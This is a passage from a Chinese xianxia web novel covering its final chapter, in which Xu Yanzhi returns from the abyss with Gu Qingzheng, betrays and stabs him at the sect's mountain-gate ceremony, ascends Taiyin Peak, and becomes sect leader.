仙人之躯原本不会有这样的时候,他们引气入体后,**便凝固了,是崖下断绝的灵力与浊气双重作用,才让顾青峥凝固许久的身躯重新开始活跃。 这意味着,至少在现在,他是肉体凡胎,他是正在燃烧的火焰。 但火焰总要熄灭。 思及至此,她的长睫颤抖起来。 她伸出手来,顺着顾青峥的眼睛,一点一点往下,摸索到了唇边。 徐宴芝的指腹传来了粗粝的触感。 如触电一般,她飞快移开手指,心跟着猛地坠了下来。 仙山上的迷雾在此刻散去,虚无缥缈的长生回到了虚空,天下没了仙人,没了高深莫测的仙法,灵力与光不可及之处,她一身伤痕,怀抱着有血有肉的生灵,会痛会死的顾青峥。 他们渺小又平凡,只能相拥着对抗明日新生的苦难,从来如此,从未改变。 即便立刻清空了大脑,她仍旧难以抑制地感到惊恐,身体被牢牢禁锢,让此刻的恐惧愈发具现,像是她终究无法掌控自己的命运,一切皆为徒劳。 徐宴芝倒吸了一口凉气,剧烈挣扎起来。 她想要挣脱,顾青峥也本能不愿放手,用极大的力度将她控制住。 “放开我!”徐宴芝挣脱不开,厉声道。 “为什么?”顾青峥抬头看她,双手牢牢禁锢她的腰,任凭她如何拍打也不放手。 “我绝不会回头!”徐宴芝答非所问,声音越发高亢。 她已经走到最后了,宇文令真的死了,只差一点点,只差最后一点就要成功了,谁也不能将她拉回深渊,谁也不能教她退后一步。 自由!她一定能得到自由! 恐惧令她疯狂,她此刻只想重新找到控制感,拼劲全力仍旧挣脱不开后,索性张嘴狠狠咬在顾青峥肩头。 牙齿并不尖锐,却钝钝地刺破了皮肤,让鲜血涌了出来,徐宴芝的舌尖传来了铁锈味,她仍不松口,做出要咬下顾青峥一块肉的架势来。 新旧伤叠在一块儿,顾青峥痛得闷哼一声,才被安抚下来的情绪又复燃,教压抑许久的十二万分不忿一齐涌上心头。 为什么总是如此,总是让他痛! 他伸手捏住徐宴芝的下颌,用力撬开她的牙关,把自己解救出来,另一只手掐住她的腰往后一推,将她按在岩壁上。 这次顾青峥没有再护住她,徐宴芝的背结结实实撞在岩石上,一瞬间,她身子僵硬极了,显然是疼了。 可她一声不吭,抬头看顾青峥时,双眸里的憎恶毫不遮掩。 看着这双眼睛,顾青峥的理智慢慢消失—— 是了,她从来便不曾对自己低过头,从很久以前到现在,即便是想要他的命,也大大方方坦坦荡荡,失败了不过对他晒然一笑,仿佛是朝他开了个无伤大雅的小玩笑,她分明咬死了他是会一退再退的那个人。 不过,她并没有想错,他确实如此。 顾青峥无意识地笑了一下。 他脑中万般念头夹杂在一块儿,万念俱灰。分不清是想要惩罚还是控诉,顾青峥低头咬在徐宴芝唇上。 只辗转片刻,血腥味便在两人唇间弥漫开。 疼痛、愤怒、恐惧,疯狂,种种恶念和在血里,被他们吞进肚里。 幽冥深渊之下,无光也无人烟,理智与克制也一齐消失,昏沉的山洞深处,两个人野兽一般,用双手,用牙齿,用最原始的表达愤怒的方式向身前人倾泻着情绪。 直到火焰熄灭。 压抑的痛呼改变了声调,喘息声在彼此耳边回响。 在被世界遗忘的角落,看不清的人与看不透的未知重叠着,索取着彼此唯一还炙热着的地方。 疼痛与战栗从尾椎一点一点爬上来,交织着,浸透了一片空白的大脑。 命运编织了网,将他们网在其中,纠缠着沉沦,清醒着挣扎。他们没有余力给予,只有麻痹过度紧绷的感官,才能从沉重的网中解脱片刻。 血的腥气在山洞里蔓延开。 汹涌的情绪退去后,后来好像有人喃喃说着什么。 含糊不清地,说着晦暗不明的话语,语气又温柔起来,又缠绵起来,咕哝着,低沉地,像一只安眠曲。 只是谁也不愿记得。 他们交叠着,手中一下下抚弄着轻颤的身躯,安静地等待着平息。 见不得光的话,就留在见不得光的地方。 无尽之崖下,被 世人称为幽冥。 因笼罩在悬崖边的重重浊气,仙人与凡人皆无法靠近,无法抵达的彼岸,在传说便是亡灵的国度。 这些说法,崖下人并不十分清楚。 他们与地上的交流非常有限,一些夹杂着浊气的丸药便是全部,对他们而言,地上才是令人恐惧的地狱。 除了数十年前,顺着长满寒来花的缝隙爬上地面的徐宴芝,没有人同时了解两个世界。 她知晓这条暗道,知晓裂缝中的浊气稳定许多,崖下人,只要不在双月当空这样灵力与浊气同时剧烈变化的时刻,凭借着一双手,便能在两地来去自如。 那日后,徐宴芝与顾青峥之间变得微妙又平静,他们似乎达成了某种默契,再没有过言语间的冲突。 采摘的草药帮助他们伤愈,顾青峥肩上的乌青消散时,他们没有理由再留在崖下。 回归七峰的时刻选在了白日里。 当第一缕微弱的光芒抵达崖下时,顾青峥俯身背起徐宴芝,顺着重重叠叠的寒来花,往地上攀去。 光线影响了他们判断确切的时间,莫约花了小半天,他们重回地面时,太阳已经斜斜挂在了西边。 橙黄的光打在浓重如雾的浊气上,镀了一层金边,封住了灵脉的顾青峥自膝盖以下皆浸在其中,如同站在云端之上。 他看着远处,放下了徐宴芝。 “下来之前,我将道一的灵脉与气息一起封住了,业鬼也回应我,不会伤害他。”徐宴芝垂首,沿着几日前他们走过的路线查看了一番,“四处都没有痕迹,他应当好好的。” “嗯。” 顾青峥口中应了,眼睛仍然看着远处。 徐宴芝见状,停下了脚步,顺着他的视线看向北方—— 有一个黑点,在天上不住地盘旋。 “那是?”徐宴芝有些不敢确定。 “门中的鸢鸟。”顾青峥收回了视线,侧身看向她,“你说的没错,道一全须全尾地回去了。” “那就好,我们回去吧。”徐宴芝朝着顾青峥笑了笑。 他们刚从暗处上来,即便是夕阳也显得有些刺眼,顾青峥背着光,徐宴芝的眼睛半阖着,极快地从他身上掠过。 “走吧。”她颔首看着自己没入浊气中的双腿,轻声说道。 顾青峥没有回答,只是朝她伸出了手。 他并不关心徐宴芝的反应,自顾自地握住她的手,稍微用力,将她揽在怀中。 在鸢鸟看清楚之前,顾青峥放开了她。 他们往回走去。 第五十章【结局】 第50章 第五十章结局 归时路反而好走一些。 走到肉眼能看见新临渊城的城门时,顾青峥忽然站定住,回头看向徐宴芝道:“这件事,不如由我来解释。” 他看着她时,眼睛很明亮。 明亮地有些过头了,教徐宴芝偏过头去,下意识地不愿与他对视,心里后知后觉地记起,在崖下最后的时间里,在那次“争论”后,他们过得浑浑噩噩,关于此次从城中消失,并未统一过口径。 想到这儿,她抬头瞥他一眼,轻声道:“看来你早就想好了。” 他们已经进入了新城的界限内,天地间的灵气浓郁起来,顾青峥的面色也跟着恢复了正常,不似在崖下那般难看,重新变得像一个仙人——肌肤无暇如玉,身姿挺拨,衣袂翩翩,举止间别有一番气度。 徐宴芝的视线自上而下扫过,在他的下颌处顿了顿。 此时那里白净光洁,她指腹曾触碰过的那些痕迹早已消失不见。 顾青峥任由她打量,好似没有察觉到她目光闪烁,温和地冲她笑了笑。 他伸出了一只手,低声道:“我的确已经想好了说辞,你只需装一装晕,剩下的交给我。” 荒原上的风呜呜吹过低矮的灌木丛,夹杂着不知名的生灵淅淅索索地动静,与顾青峥的轻言细语一齐钻入徐宴芝耳中。 两人对视了片刻,他的眼依旧明亮,竟让她看出了七八分的真诚。 徐宴芝慢慢的,觉得没滋没味起来,失了说话的心情。 她点了点头,握住了他伸过来的手,顺势伏在他的背上。 顾青峥的背很宽,肩膀也是,她揽住他的脖颈,把下巴搁在他的肩时,朦胧地生出一丝熟悉。 那是正正好好的适合她的位置,很久很久以前,她也被这样背过,昏昏沉沉地伏在他那时并不宽厚的背上,摇摇晃晃地随着他在荒原中挣扎求生。 那次是为了什么事,她已经忘了干净,但整个世界都在轻轻摇晃的感觉,却奇异地没有被忘掉。 茫然地回忆着,徐宴芝渐渐地泄了气,散去了力量,任由自己全身绵软地挂在他身上。 若是他能解决,就随他吧。 他们一起消失数日,本就难以解释。再加上闵道一独自从浊气深处返回,也不知他回去后对七峰众人说了什么,再要将事情圆上,更是棘手。 先前见到的鸢鸟,在确认了他们的身份后已经飞回了宗门,她与顾青峥同时现身的消息如今应当传遍了北域。 只是想一想现下门人的嘴脸,徐宴芝便心中烦闷。 烦闷地伏在顾青峥的背上,她的身子随着顾青峥的步伐轻轻晃动着,不一会儿,竟然当真陷入了沉睡中。 徐宴芝明明瘦得很,伏在顾青峥肩头上时,却压得他心发沉,让他的脚步变得很慢。 可即便慢慢走,高耸的新临渊城仍旧越来越近。 像是一只巨大的怪兽,朝着他们张开了口。 玄色的城墙在顾青峥眼中扭曲着,下一瞬便要择人而噬的样子,让他的心更沉了,连带着脚上也有千钧之重。 他面无表情地停下脚步,定定地看了一会儿城门。 或许看了一刻钟,又或许只看了一瞬。 已经足够天边盘旋的鸢鸟看见他们,发出警示的鸣叫。 顾青峥被声音惊动,猛地回过神来。 眼前的新城散去了诡异的幻觉,沉默地矗立在原地,安静地任由他打量。 鸢鸟的鸣叫十分响亮,他背后的女子闻声轻轻动了动手指,将醒未醒的,让顾青峥的眼角跟着抽搐了一下。 他略略抬手,飞快捏了个法决,女子的呼吸重新绵长起来。 待走到城门下,诸位守卫看清了他的面容,又惊又喜地迎上来时,他当着众人面,伸出一只食指,轻轻嘘了一声。 “莫要扰了徐夫人的好眠。” 顾青峥声音低沉,说罢微微一笑,像说的是寻常不过的小事。 守卫们当然看清了他的另一只手反在身后托着徐宴芝的身子,而徐宴芝闭着眼,将脸紧紧贴着他的颈窝,一只白皙的手环过来,搂住了顾青峥。 分明有些不对劲。 但顾青峥的表情也太过坦然了。 他脸上带着笑意,坦然地背着沉睡的师娘,迎着晦暗不明地无数视线,踏入了他们一齐消失的这座城。 城门咔嗒一声,如巨口般在他身后合上。 徐宴芝再次醒来时,她身下的垫子已经换了材质,变做厚厚的灵兽皮毛,让她整个都陷进了里头,身子轻轻晃动着。 视线被一整块木板遮蔽,她本该惊慌才是,但鼻尖传来了熟悉的气息,令她瞬间知晓了身边有谁。 安全感涌上心头,徐宴芝懒得去想现在的处境,索性开始懒洋洋地发呆。 “你醒了?”顾青峥的声音从身旁传来。 他的声音把徐宴芝拉到了现实中,她回过神来,意识到他们此时正在车里。 “嗯。”徐宴芝带着重重的鼻音,懒懒地提问,“这是回七峰的路吗?” “是,到城中不足一刻,城主便备了车,让我们尽快回太阴。”顾青峥将陷在皮毛中的徐宴芝抱起,让她坐在大腿上,倚在自己胸前,伸手一点一点为她梳理散落的发丝,“你并未睡多久,我们不过才走了半日。” 他动作轻柔,徐宴芝随他摆弄自己,脸颊感受着他胸膛传来的震动,待他一句话说完,顿了一顿后,方才后知后觉地疑惑道:“不足一刻便走,可是门中有事?” 顾青峥为她整理的手停住了,片刻后,他轻笑道:“我看了门中传来的密信,天象异变,询天阁观天后,认为十日后山门便可重开。” 十日后,山门便可重开。 徐宴芝眯着眼,无声无息地握紧了拳。 她的世界骤然褪去了朦朦胧胧、 温暖的柔光,变得清晰起来,被她屏蔽的一切——车厢外飞虎的喘息声、车轮的轰隆声、顾青峥的呼吸声被放大了,一齐钻进了徐宴芝耳中。 心念电转间,她脑中闪过许多念头。 但待到张口,徐宴芝只笑道:“这倒是门中头等重要的大事,跟它比起来,我们为何从新城中消失,倒显得微不足道了。” 顾青峥温顺地附和道:“自然如此,于是我什么也没多说,便与你登上了这辆门中派来,早已准备好的飞虎车。” 他嘴上说话,手下也不停,将徐宴芝的碎发整理好后,移到她的背上,一下一下地轻轻拍着。 十分难得的,顾青峥说话没有夹枪带棒,语气如他的皮囊一般和煦。 从上一回他们在崖下昏天胡地地折腾过一场后,他们便减少了对话,仿佛那一次已经将两人能说的话说尽了,心也掏空了,从此提不起劲来装模作样,相处时都懒懒的,温和了许多。 这样也没什么不好。 徐宴芝握住了顾青峥揽在她手臂上的手,摩挲片刻,低声道:“这样也好。” 顾青峥嗯了一声。 飞虎车又往前驶了一段距离,车轮似乎碾过了一片不平坦的小石子,让车中人也跟着剧烈晃动了一下,彼此之间贴得更紧。 徐宴芝被身旁的人下意识地用力按在怀中,她的耳朵紧紧贴住了顾青峥左胸,砰砰的心跳声与一声模糊地叹息一齐钻进了她的耳中。 “——这样,也好。” 他们昼夜兼程赶路,飞虎车并未前往德政堂,而是直接驶到了太阴殿前。 几位长老与座下弟子早早等到了消息,已经在殿前候着。 车停稳后,众目睽睽之下,顾青峥俯身将徐宴芝从车中拦腰抱起,转身对众人道:“徐夫人身子不适,待我先将她送回,再来与诸位解释。” 高大的男子,怀中抱着昏睡的女子,他的手放在应当避嫌的地方。 此情此景,似乎已经超出了孝道的范畴。 众人的目光变得微妙起来,沉默了一会儿,还是吕敏之先开口道:“快去吧。” 顾青峥道了声罪,穿过人群,往徐宴芝的无名小院走去。 他注意到了,此番等在太阴殿前的人群中没有闵道一。 想来虽然开山门就在十日后,顾青峥已经是板上钉钉的下任掌门了,宗门也仍旧保留了一丝对他的戒心。 心中流转过万般念头,顾青峥手上仍旧稳当,他打开了无名小院的门,将怀中的徐宴芝稳稳当当地放在了她帷幔深深的床上。 “你放心。”他凑在徐宴芝耳边说道。 说罢,又轻轻在她面上落下一吻。 徐宴芝在顾青峥走后睁开了眼。 她仰躺在自己精心布置的床上,眼前是巧夺天工的繁复雕花,顾青峥临走前放下了床帏,泛着光泽的暗色织物重重叠叠地将徐宴芝包裹在狭小的空间里,与世界隔开。 这里是曾经能给予她安宁的地方。 床帏上还留着一缕她惯常点来镇痛的香气。 但仔细想想,一个狭小的、仅容得下她一人的空间,和因为陈年旧伤而不得不点燃的香,究竟哪一样算得上能给予人安宁。 她想要的仅仅是一张窄床,片刻安宁吗。 她十只指甲在攀爬中被掀翻,满手满身鲜血从崖下爬上来时。她双目近乎失明,独自在北域荒原上挣扎求生时。她与绿奴躲在城中苟延残喘,接连失去自由,被卖做女奴,只能拼死杀主,借尸还魂时。 她以身为饵,从宇文令手中得到一线生机时。 她想要的仅仅是一张窄床,片刻安宁吗。 海娜。 繁杂的花纹印在她眼中,似有水光荡漾,却又转瞬即逝,她在心里呼唤遥远已经死去的自己—— 你想要的远远不止我拥有的。 你为了无边无际的天空而来。 你为了冰原上冷冽刺骨、无拘无束的风而来。 你为了光,为了太阳,为了月亮,为了山峰而来。 十日后,山门大开,你终将得偿所愿。 这般反反复复地想着,她的意志终于前所未有的坚定。 而后,却有一个模糊的影子,伴随着难以言喻的痛楚,一起涌上了徐宴芝的心头。 她咬住了嘴唇,侧身蜷缩起来。 抱着双腿,将额头抵在膝盖上,她紧紧闭上眼,回想起走来这一路,回想起走到现在的缘由。 她要杀了宇文令。 她的确做到了。 可她为何要费尽心机,冒着巨大的风险去杀他。 在宇文令的庇护下,她的日子分明过得越来越好了,再过一些年,利用北域七峰掌门夫人的身份,她能变得更强大,到了那时候,也许她能挣脱束缚,从北域离开。 她恨宇文令,想要他死。 但有许多很稳妥的法子,为什么她要亲自出手。 一切,都要从宇文令将掌门密令给她那天说起。 那一天,她以爱为利刃,从他手中分得了一半的权柄。 和一个消息。 她还记得当时那个男人脸上的神情,问仙宫的水榭中,他搂着徐宴芝,倚在长栏上,抬眼看着雪被透明的穹顶阻拦,扑簌簌地滚落下来。 是为了何事已不记得,他喝了许多酒,上好的酒,喝下肚去,连宇文令都有三分醉。 脸颊有一抹红,眼睛也变得很亮,他似笑非笑地看着天上,徐宴芝看着他,以为他在看雪。 “你知道太阴峰上是什么光景吗?”宇文令感受到了徐宴芝的目光,垂下眼来,逗弄宠物一般逗她。 相传太阴峰上有真神,但徐宴芝不信这个世界有神。她似乎听说过,太阴峰顶上灵力十分暴虐,除却门中五十岁以下的最强者,常人无法登顶。 她这样想着,甜甜一笑,柔声道:“我知晓得,那里只有您这样厉害的仙人才能上得去。” “哦?我是怎么样的仙人?” 宇文令嗤笑一声,似乎看穿了怀中人讨好的小心思,眼神中带着轻微的蔑视。 “年岁不到五十,便已是北域第一人,是当仁不让的七峰掌门。”徐宴芝恍若未觉,仍旧笑盈盈地答道。 好像她说了一个笑话般,宇文令大笑起来,口中不住重复着北域第一人几个字。 “我是没有留心过这些事,您可是笑我说的不对?”徐宴芝撑在他胸口,假意不满地嗔道。 她这番话又让宇文令笑了好一会。 直到笑够了,他伸手捏了捏徐宴芝的脸颊,叹道:“真是天真的可怜,跟门中那些没脑子的废物一样,前人装模作样地定几条门规,便全信了,半点都不曾怀疑。” “太阴峰顶,谁都去的。”捏完她的脸,因手感很好的缘故,宇文令又顺手捏了捏她的鼻梁,放下手后,他漫不经心地又抬起眼来看向高处,“只要有命能活,便是掌门,算不得什么本事,我要走得更远。” “说不定你也行呢。”他抱着徐宴芝坐下,低头看她,酒气喷在她的耳尖,带着几分戏谑,“崖下人对灵力不敏感,说不定比门中这些废物都强些,若是能活下来——” 她也能行。 他还说了什么,她全忘了。 徐宴芝只听到了这四个字,脑中只回响着这四个字。 她也能行! 她!也!能!行! 是啊,北域七峰的掌门,为什么就不能是她呢!! 那时的徐宴芝心中燃起了一丛火。 此刻无名小院中的徐宴芝回过了神来。 是了,这就是所有事情的缘由。 徐宴芝与自己一同消失在新城之事,被顾青峥半真半假地掩盖了过去—— 与长老们谈话时,他隐晦地提了提是宇文令的神魂作祟。 但毕竟回来的是他与徐宴芝,而不是在众人眼中已经死去的宇文令,长老们眼都未曾抬一下。 想来知晓门中禁术的不止掌门一人,前任掌门的生死也已不是门中最要紧的事,开山门在即,顾青峥继任掌门之位已经板上钉钉,此时谁也不愿多生事端。 众长老只敷衍了几句,任重阳话音一转,便说起了十日后的种种安排。 他们在太阴殿正殿,商议到月亮升起方才作罢。 那一日的流程既然已经安排妥当,长老们便纷纷起身告别,顾青峥站在大殿前一一向他们颔首。 人还未彻底从视线中消失,顾青峥已经转身朝着 无名小院的方向走去。 他并未遮掩行踪。 奇怪的是,也没有谁回头看他一眼。 : 今日的太阴峰难得没有风雪,明月引着顾青峥,一路来到徐宴芝的卧房前。 门里没有动静,他推门的动作便轻了许多,门开后,果然屋里一片漆黑,徐宴芝仍旧在床上沉睡着。 顾青峥缓缓走到床前,低头看向陷在柔软被褥中的女子。 她蜷缩着,在睡梦中仍皱着眉头。 顾青峥在床边坐下,伸手轻轻点在她的眉间,试图抚平那里的刻痕,将她从不愉快的梦中解救出来。 他看不到此时自己的神情,他也绝不会想到自己现下是什么样子。 几番抚弄,他当真抚平了徐宴芝的眉头。 可当她含糊发出声音要醒来时,顾青峥又俯身将她搂在怀里,轻轻地拍着她的背。 他目不转睛地看着这张已经刻在他心底的脸,一瞬也不舍得移开。 他温柔地低声道:“嘘——没事,没事,睡吧。” “快结束了。” “会好的。” 十日后。 太阴殿正殿之上,北域七峰七位长老束手而立,肃穆地看着站在他们之前,身着黑金礼服的顾青峥。 正殿之下,七峰弟子们抬着头,仰望着他们的下一任掌门。 当着众人的面,也穿着礼服的徐宴芝,将象征着北域的黑色令牌交给了顾青峥。 “得令者,即是天命所归,北域之主。”她扬声道。 在山呼海啸的欢呼声中,徐宴芝看了一眼顾青峥,率先转身朝着后山走去。 顾青峥与诸位长老跟着她的脚步,来到了太阴峰大阵的边缘处。 徐宴芝当众拿出了通往山门的信物,领着众人走出了结界。 离开了结界,狂躁的暴风雪扑面而来。 太阴峰上的灵力浓度今日已经达到了几十年来的峰值,巴掌大的雪花,顺着能吹走一切的大风砸在为首的徐宴芝身上。 她手中的信物发着光,身形却摇摇欲坠,时不时被风雪遮掩。 见状,按照先前的安排,顾青峥与七位长老一齐使出仙法,挣得了一块尚可抵挡太阴暴虐灵力的屏障,护得了徐宴芝周全。 几位当世大能,排成一行,行走在太阴山间。 漫山遍野的白色,眼中所见的一切都是白色,好像永远也走不到尽头,好像下一瞬便要被太阴峰吞噬。 顾青峥眼中只有一抹红。 他看着前方穿着赤红礼服的徐宴芝,忽然开口道:“我从家中走失时,似乎也下着很大的雪。” 徐宴芝闻言,身形顿了一下。 “我在箱子中听到那些商贩说,要将我买去西域。” 顾青峥并没有等她回答,自顾自地继续说着。 徐宴芝并未回答,又走了一段时间后,她停下了脚步,僵硬地回头对众人道:“前方便是山门,诸位长老停在此处。” 说罢,她木木地看了顾青峥一眼,硬邦邦地说道:“你随我来。” 顾青峥点了点头,与她单独走向了前方那块没有被风雪覆盖的地方。 所谓山门,其实是一处法阵。 徐宴芝捧着信物,双手不住地颤抖着,踏上了法阵。 她弯腰将手中信物放在了法阵正中心,后退两步,转身看向顾青峥。 顾青峥定定地看着她,仍旧站在法阵之外。 “过来,站到这里。”徐宴芝朝他招了招手,她的声音有些哑,她用了最大的力气,方才将这句话囫囵说出口。 顾青峥没有动。 他与站在三丈之外七位的长老一起看着徐宴芝。 看了一会儿,他慢慢地笑了起来。 “好。”他点了点头,按照徐宴芝的要求,站在了自己应该站的位置。 嗡的一声,以信物为中心,法阵开始震动。 像是漩涡的中心,将四面八方的灵力吸引过来,围着法阵旋转。 灵力裹挟着雪花,遮蔽了远处人的视线。 待到长老们瞧不见里头的景象后,法阵内,几道如触手一般的灵力忽然出现,缠住了顾青峥的身体。 他一动未动,好像早已料到。 “你是什么时候做的手脚。” 顾青峥随意地挣扎了一会儿,发现凭着他的修为,竟无法动弹一下。 “第一次下山,我与岳竺交易,得了一些他私藏的不梦鳞。我极擅长阵法,回来后便以此,在山门之中嵌套了另一个法阵。” 徐宴芝面无表情地看着身前人,确认了他无法逃脱后,飞快地欺近,伸手拔出了顾青峥腰间的本命长剑。 “第二次下山,我与你跌下无尽之崖,在山洞里,我趁你不备,以精血破了你的本命法宝。” 她举着剑,指着顾青峥。 剑尖却始终无法对准他的心脏。 顾青峥脸色渐渐惨白起来。 他的眼珠子像是蒙了一层雾,一下子失去了神气。 “我现在,有一件事想问你。”他哑声道。 或许是求生的本能,顾青峥的太阳穴暴起青筋,拼命挣扎起来。 “我杀你,是为了掌门之位。我所有的谋划,都是为了这个目的。”徐宴芝答道。 她的嘴唇不住发抖,声音也抖,脸上滑过一阵凉意。 她终于将剑尖对准了顾青峥的心脏。 顾青峥却奇异地怔了一瞬。 下一刹那,他将全身的灵力汇聚在右手之上,将那诡异的法阵挣破了一方,伸手朝着徐宴芝面上探去。 她的法阵要失效了。 徐宴芝脑中一片空白,闭上眼,将手中长剑往前推去。 她感到手中长剑刺破了血肉。 而顾青峥伸出的右手,只轻轻地从她腮边滑过。 她的手停在了半空。 睁开眼,她看到顾青峥在对她笑。 山门法阵外环绕的风雪渐渐消散,顾青峥胸前一片赤红。 可他眉眼弯弯,极开心的模样,温柔地对她道:“快走——” 迟了好久好久。 在他们第一次分开那天。 在幼小的绿奴跌入陷阱的那一瞬间。 他早该说这句话了。 顾青峥微笑着,看着她脸上未干的泪痕,感受着指腹传来的湿意。 这就是他这一生唯一想要的东西。 他没问出口的问题,已经得到了回答。 徐宴芝猛地松开了手。 鲜血浸透了眼前人,他面如金纸。 远处观望的七位长老发觉到了不对,掏出了本命法宝,迟疑走上前来。 仍旧无法思考,仅仅凭着本能,徐宴芝重新站回了山门法阵正中心。 可她无法移开视线,哆哆嗦嗦地看着。 看着顾青峥身上的灵力一点一点逸散,看着他的身子因困住他的法阵失效,无力地往后倒下。 她从山门法阵消失前,已经看不清他的脸。 一股巨大的力量裹挟着徐宴芝往天上飞去。 仿佛是亘古存在的原初之力,如溟海一般浩瀚,她浸在里头,身不由己地往某个地方去。 越往上,灵力越浓郁,如有实质地从四面八方挤压着徐宴芝,冰冷无比。 不知过了多久,风雪停了,她落在了一片绵软的雪地中。 太阳挂在天空的正中,阳光照在雪上,刺目极了。 徐宴芝在地上伏了许久,方才踉踉跄跄地站了起来。 她终于恢复些许知觉,感到眼下传来阵阵刺痛,伸手摸了一把后,徐宴芝的手心中躺着几片混着血色的冰凌。 “这是什么。”她茫然地喃喃道。 这是从她眼中流下来的吗。 她从前从未有过这样的经验,浑浑噩噩地低头看了许久后,渐渐清醒了些。 “这是,眼泪吗?”她轻声道。 仿佛是回答她的问题—— 啪嗒。 两滴水滴从她脸颊滑过,在空中化为冰,砸在了雪地里。 像是看见了什么可怖的东西,徐宴芝倒吸一口凉气,将手中冰凌扔在地上,反手慌张地擦着自己的脸。 “为什么,为什么,为什么。” 她崩溃地哭喊着,眼泪不住地从她眼中流出来,不论徐宴芝如何擦拭,也无法阻止它们。 而她太用力,这里又太冷,泪水结冰后划破了脸颊,血珠沁了出来。 鲜血打破了这处地方的平静。 有哗啦啦的声音从更高的地方传来。 徐宴芝倏地停了下来,抬头看向远处。 远处有什么高大的东西,撑到了天上。 如果她还在太阴峰上,那么在太阴峰的最高处,长着一颗枝繁叶茂、晶莹剔透的参天大树,大树由冰雪造就,仿佛已经与天空连接在一起,仰起头来也看不到祂的尽头。 此刻,大树的树冠正在无风自动,轻轻地摇晃着。 祂没有言语。 但徐宴芝知道,她应当朝着祂走去。 她抬脚,向上迈出了一步。 几乎将她摧毁的疼痛从体内传来。 徐宴芝闷哼一声,停了一会儿。 只有一会儿。 片刻后,她继续一步一步,朝祂走去。 她的身上的礼服先化为齑粉,落在身后。 她琥珀色的秀美长发接着根根断裂,散在空中。 她白皙的、细嫩的肌肤失去遮掩,破碎又重建,变得强韧无匹。 那一双琥珀色的宝石似得眼睛最后被毁灭,取而代之的是真正的宝石。 无所谓**,无所谓疼痛,若拥有**便拥有枷锁,她便舍了这一身血肉,若因为疼痛便无法拥有自由,就让一切结束在无休止的痛楚中。 她还有什么可以被摧毁,都拿走。 死亡好过世间沉浮、随波逐流。 爱与恨,终成空。 时间好像停止,又好像在加速流逝。 毁灭又重生无数次后。 徐宴芝一步一步,来到了祂的冠盖下。 她仰头看着这超脱此界的存在,聆听祂的指引。 慢慢地,她勾起了嘴角,露出笑容。 徐宴芝得了祂的赞美。 祂说。 她早已拥有。 她早已拥有自由。 她早已拥有能抵达此地的、自由的心。 徐宴芝闭上了眼。 她感到此刻,自己拥有了无上的力量,与身下的山峰建立了密不可分的联系。 该回去了。 再睁开眼时。 徐宴芝回到了太阴殿前。 在宏大的宫殿前,七位长老手中握着本命法宝,如临大敌般看着她。 这样肃穆的场合,她忽然笑了起来。 她知道自己身后还有整个宗门的弟子,再远一些,是七座山峰,再远一些,是冰海雪源。 可这一切的一切,与她的命运一起,都属于她了。 包括—— 一个尚且站立不稳的男子,在闵道一的搀扶下,从正殿里走向她。 他挥开身边人,单膝点地,朝她低下头。 “恭迎掌门。” 顾青峥说道。 自他往后,七位长老,所有弟子,惊醒了似得,随他一齐。 徐宴芝听到了山呼海啸的声音—— “恭迎掌门!” 任凭众人朝她垂首。 徐宴芝自顾自地伸出手来,抬起了顾青峥的下巴。 她笑道:“青峥,你瞧,我拥有了一切,自然也会拥有你。”